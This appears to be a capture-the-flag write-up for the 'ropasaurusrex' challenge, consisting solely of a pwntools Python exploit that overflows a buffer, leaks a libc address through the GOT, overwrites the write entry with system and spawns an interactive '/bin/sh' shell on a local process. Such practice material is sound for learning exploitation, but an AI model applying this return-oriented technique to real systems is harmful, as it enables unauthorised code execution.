ropasaurusrex writeup (local version)

exploit.py

from pwn import process
import struct
from subprocess import PIPE, Popen

def p(a):
	return struct.pack('<I', a)

def u(a): 
	return struct.unpack("<I",a)[0]

p3ret = 0x080484b6
plt_write = 0x0804830c
got_write = 0x8049614
plt_read = 0x0804832c
data_seg = 0x08049620
offset_system = 0x0003fe70
offset_write = 0x000d9900

buf = "A"*140

buf += p(plt_write)
buf += p(p3ret)
buf += p(1)
buf += p(got_write)
buf += p(4)

buf += p(plt_read)
buf += p(p3ret)
buf += p(0)
buf += p(data_seg)
buf += p(8)

buf += p(plt_read)
buf += p(p3ret)
buf += p(0)
buf += p(got_write)
buf += p(4)

buf += p(plt_write)
buf += p(0xdeadbeef)
buf += p(data_seg)

conn = process('./ropasaurusrex')
conn.send(buf)
libc_system = u(conn.recv(4)) - offset_write + offset_system
conn.send('/bin/sh\0')
conn.send(p(libc_system))
conn.interactive()